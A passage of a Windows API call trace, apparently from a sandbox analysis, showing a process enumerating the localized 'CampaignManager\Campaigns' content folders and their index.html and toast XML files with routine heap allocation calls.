ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0238.821] GetProcessHeap () returned 0xc10000 [0238.821] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.821] GetProcessHeap () returned 0xc10000 [0238.821] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0238.826] GetProcessHeap () returned 0xc10000 [0238.826] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.826] GetProcessHeap () returned 0xc10000 [0238.826] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0239.510] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.511] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0239.511] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0239.511] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0239.511] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0239.511] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0239.511] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0239.513] GetProcessHeap () returned 0xc10000 [0239.513] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0239.513] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0239.513] GetProcessHeap () returned 0xc10000 [0239.513] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0239.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0239.520] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.520] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9653, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0239.520] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0239.520] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0239.520] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0239.521] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0239.521] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0239.523] GetProcessHeap () returned 0xc10000 [0239.523] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0239.523] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1 [0239.523] GetProcessHeap () returned 0xc10000 [0239.523] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0239.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0239.528] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.528] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0239.529] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0239.529] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0239.529] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0239.529] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0239.529] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0239.531] GetProcessHeap () returned 0xc10000 [0239.531] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0239.531] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0239.531] GetProcessHeap () returned 0xc10000 [0239.531] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0239.531] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0239.534] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.534] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0239.534] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0239.535] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0239.535] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0239.535] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0239.535] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0239.536] GetProcessHeap () returned 0xc10000 [0239.537] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0239.537] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1 [0239.537] GetProcessHeap () returned 0xc10000 [0239.537] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0239.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0239.540] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.540] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9653, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0239.541] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0239.541] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0239.541] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0239.541] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, 